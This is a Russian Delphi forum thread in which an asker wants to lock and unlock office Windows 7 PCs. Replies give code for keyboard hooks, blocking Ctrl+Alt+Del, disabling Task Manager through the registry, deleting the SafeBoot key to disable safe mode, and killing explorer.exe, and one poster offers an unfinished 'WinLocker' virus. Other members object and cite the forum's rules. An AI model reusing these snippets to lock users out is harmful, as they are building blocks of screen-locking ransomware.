Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > Программа и интерфейс
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 02.02.2013, 11:52
Аватар для GOD_Roman$
GOD_Roman$ GOD_Roman$ вне форума
Прохожий
 
Регистрация: 21.09.2010
Сообщения: 7
Репутация: 10
Восклицание Блокировка компьютера

Доброго времени суток.
Проблема такая: пишу программу для администрирования компьютеров небольшой фирмы. Все компьютеры под Win 7. Нужен способ блокировки и разблокировки компьютера или хотя бы клавиатуры. BlockInput работает но не блокирует Ctrl+Alt+Delete. Может кто нибудь знает другой способ или подскажет как рубануть Ctrl+Alt+Delete.
Ответить с цитированием
  #2  
Старый 22.02.2013, 12:45
Аватар для GOD_Roman$
GOD_Roman$ GOD_Roman$ вне форума
Прохожий
 
Регистрация: 21.09.2010
Сообщения: 7
Репутация: 10
Печаль

Ну может быть кто нибудь какую нибудь бредовую идею кинет. Не могу стоять на месте ...
Ответить с цитированием
  #3  
Старый 22.02.2013, 13:10
Аватар для Alegun
Alegun Alegun вне форума
LMD-DML
 
Регистрация: 12.07.2009
Адрес: Богородское
Сообщения: 3,025
Версия Delphi: D7E
Репутация: 1834
По умолчанию

Цитата:
Сообщение от GOD_Roman$
Ну может быть кто нибудь какую нибудь бредовую идею кинет...
Не знаю только, как насчёт семёрки, не проверял
Код:
uses 
WinProcs
var 
i: integer=0; 
begin
// Ctrl-Alt-Del 
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @i, 0); 
// для Alt-Tab: SPI_SETFASTTASKSWITCH 
end;
ещё
Код:
var
i: integer=0;
OldKbHook: HHook=0;
...
function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;
begin
if code<0 then Result:= CallNextHookEx(oldKbHook, code, wparam, lparam)
else Result:= 1;
end;

// Выключение клавиатуры
SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @i, 0);
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @i, 0);
OldKbHook:= SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);

// Включение клавиатуры
if OldKbHook <> 0 then 
begin
UnHookWindowshookEx(OldKbHook);
OldKbHook:= 0;
end;
SystemParametersInfo(SPI_SETFASTTASKSWITCH, 0, 0, 0);
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, 0, 0);
и такое
Код:
EnableHardwareInput(false); // false = Off  true = On
// или
EnableHardwareKeyboard(false); 
З.Ы. А чем Win+L не нравится? Ведь так проще.

Последний раз редактировалось Alegun, 22.02.2013 в 21:37. Причина: Дополнение
Ответить с цитированием
  #4  
Старый 25.02.2013, 12:26
Аватар для GOD_Roman$
GOD_Roman$ GOD_Roman$ вне форума
Прохожий
 
Регистрация: 21.09.2010
Сообщения: 7
Репутация: 10
По умолчанию

Ничего не срабатывает
Цитата:
Код:
EnableHardwareInput(false); // false = Off  true = On
// или
EnableHardwareKeyboard(false); 
здесь какой модуль нужно подключить?
Цитата:
З.Ы. А чем Win+L не нравится? Ведь так проще.
Задача и в том чтоб и разблокировать...
Ответить с цитированием
  #5  
Старый 25.02.2013, 14:37
OTVET2 OTVET2 вне форума
Прохожий
 
Регистрация: 29.11.2012
Адрес: http://crprogram.16mb.com
Сообщения: 9
Репутация: выкл
По умолчанию

Цитата:
Сообщение от GOD_Roman$
пишу программу для администрирования компьютеров небольшой фирмы. Все компьютеры под Win 7. Нужен способ блокировки и разблокировки компьютера
Все это реализуется давно известными программами, которые есть в арсенале даже самого захудалого админа, зачем писать свою? - разве что пишем вирус(WinLocker, смс вымогатеть ), тогда согласен.
Ответить с цитированием
  #6  
Старый 25.02.2013, 15:54
Аватар для NumLock
NumLock NumLock вне форума
Let Me Show You
 
Регистрация: 30.04.2010
Адрес: Северодвинск
Сообщения: 5,426
Версия Delphi: 7, XE5
Репутация: 59586
Смех

создай новый рабочий стол и переключись на него. диспетчер задач можно будет запустить, но он будет на основном столе и работать с ним не получится.
__________________
Пишу программы за еду.
__________________
Ответить с цитированием
  #7  
Старый 02.05.2013, 14:01
ruivit ruivit вне форума
Прохожий
 
Регистрация: 02.05.2013
Сообщения: 10
Версия Delphi: Delphi 7
Репутация: 10
По умолчанию

Ты что ли WinLocer пишешь? Так и говори четко? здесь все свои Вот процедура блокировки диспетчера задач работает на windows 7.

Код:
// Процедура отрубающия диспечер

procedure OfDispecher;
  var
  r:Tregistry;
  begin
r:=Tregistry.Create;
r.RootKey:=HKEY_CURRENT_USER;
r.OpenKey('software\Microsoft\Windows\CurrentVersion\Policies\system',true);
r.WriteInteger('DisableTaskMgr',1);
r.closekey;
r.free;
end;

//--------------------------------
// Процедура включающия диспечер
 procedure OnDispecher;
  var
  r:Tregistry;
  begin
r:=Tregistry.Create;
r.RootKey:=HKEY_CURRENT_USER;
r.OpenKey('software\Microsoft\Windows\CurrentVersion\Policies\system',true);
r.WriteInteger('DisableTaskMgr',0);
r.closekey;
r.free;
end;

Вот эта отрубает безопасный режим

Код:
 procedure OfRegim;
    var
    reg: tregistry;
    begin
    reg:=TRegistry.Create;
    reg.RootKey:=HKEY_LOCAL_MACHINE;
    if Reg.KeyExists('SYSTEM\CurrentControlSet\Control\SafeBoot') then
    begin
    reg.DeleteKey('SYSTEM\CurrentControlSet\Control\SafeBoot');
    reg.CloseKey;
    reg.free;
end
else
  sleep(1);
end;

Если в хочешь могу скинуть не доделанный сам вирус чтоб ты имел ввиду из чего зверек слеплен...
Ответить с цитированием
  #8  
Старый 02.05.2013, 14:52
Аватар для Vayrus
Vayrus Vayrus вне форума
Исполняемый Ретровирус
 
Регистрация: 09.08.2008
Адрес: Umbrella Corporation
Сообщения: 743
Репутация: 1293
По умолчанию

Согласен с NumLock.

ЗЫ
Написание и помощь в написании вредоносов на форуме запрещено, насколько мне известно
Ответить с цитированием
  #9  
Старый 02.05.2013, 15:21
ruivit ruivit вне форума
Прохожий
 
Регистрация: 02.05.2013
Сообщения: 10
Версия Delphi: Delphi 7
Репутация: 10
По умолчанию

Я думаю чтоб научится бороться с подобной напастью, нужно ее тоже уметь делать, чтоб иметь представления как эта страсть работает. Главное чтобы у него зверек дальше его машинки не ходил
Ответить с цитированием
  #10  
Старый 02.05.2013, 15:24
Аватар для Bargest
Bargest Bargest вне форума
Профессионал
 
Регистрация: 19.10.2010
Адрес: Москва
Сообщения: 2,390
Версия Delphi: XE3/VS12/FASM
Репутация: 14665
По умолчанию

Цитата:
Вот процедура блокировки диспетчера задач работает на windows 7.
Скажу по секрету - без прав админа никто не даст писать в реестр, а если есть права админа, то и диспетчер отрубать не надо, гораздо полезнее стать Богом на компе.

А правила форума надо читать. За такие посты можно и банхаммером схлопотать.
__________________
jmp $ ; Happy End!
The Cake Is A Lie.
Ответить с цитированием
  #11  
Старый 02.05.2013, 17:45
ruivit ruivit вне форума
Прохожий
 
Регистрация: 02.05.2013
Сообщения: 10
Версия Delphi: Delphi 7
Репутация: 10
По умолчанию

Да только к сожалению многие пользователи не пользуются этими правами. А потом удивляются как так получилось...
Ответить с цитированием
  #12  
Старый 02.05.2013, 20:26
Аватар для Vayrus
Vayrus Vayrus вне форума
Исполняемый Ретровирус
 
Регистрация: 09.08.2008
Адрес: Umbrella Corporation
Сообщения: 743
Репутация: 1293
По умолчанию

Цитата:
Сообщение от ruivit
Я думаю чтоб научится бороться с подобной напастью, нужно ее тоже уметь делать, чтоб иметь представления как эта страсть работает. Главное чтобы у него зверек дальше его машинки не ходил

тоже верно
Ответить с цитированием
Этот пользователь сказал Спасибо Vayrus за это полезное сообщение:
ruivit (03.05.2013)
  #13  
Старый 02.05.2013, 20:38
Аватар для M.A.D.M.A.N.
M.A.D.M.A.N. M.A.D.M.A.N. вне форума
Sir Richard Abramson
 
Регистрация: 05.04.2008
Сообщения: 5,505
Версия Delphi: XE10
Репутация: выкл
По умолчанию

Хоть бы код нормально оформили, раз такие гуру.

На словах ты Лев Толстой...
__________________
— Как тебя понимать?
— Понимать меня не обязательно. Обязательно меня любить и кормить вовремя.


На Delphi, увы, больше не программирую.
Рекомендуемая литература по программированию
Ответить с цитированием
  #14  
Старый 04.05.2013, 10:16
Аватар для GOD_Roman$
GOD_Roman$ GOD_Roman$ вне форума
Прохожий
 
Регистрация: 21.09.2010
Сообщения: 7
Репутация: 10
По умолчанию

Если использовать Win+L как удаленно ввести пароль и произвести вход?
В Radmin это реализовано как сделать тоже самое? Я имею ввиду как сделать так чтобы программа продолжала работать после блокировки также как к примеру работает проигрыватель.
Ответить с цитированием
  #15  
Старый 06.05.2013, 09:38
corpse6666 corpse6666 вне форума
Прохожий
 
Регистрация: 26.04.2013
Сообщения: 9
Версия Delphi: Delphi 7
Репутация: 10
По умолчанию

Ну тут делается проще удаляется диспетчер задач + отключается рабочий стол explorer.exe. запустить его можно сделав к программе набор кнопок и указав исходный путь к файлу) либо в командную строку отправит команду explorer.exe
+ Все это можно реализовать в обычном блокноте)) Используя бат файлы.
Vsirf, запуск:
Код:

start explorer.exe

"Убийство" процесса:

Код:

taskkill /f /im explorer.exe

Последний раз редактировалось corpse6666, 06.05.2013 в 11:54.
Ответить с цитированием
Ответ


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 02:31.


 

Сайт

Форум

FAQ

RSS лента

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2023

ВКонтакте   Facebook   Twitter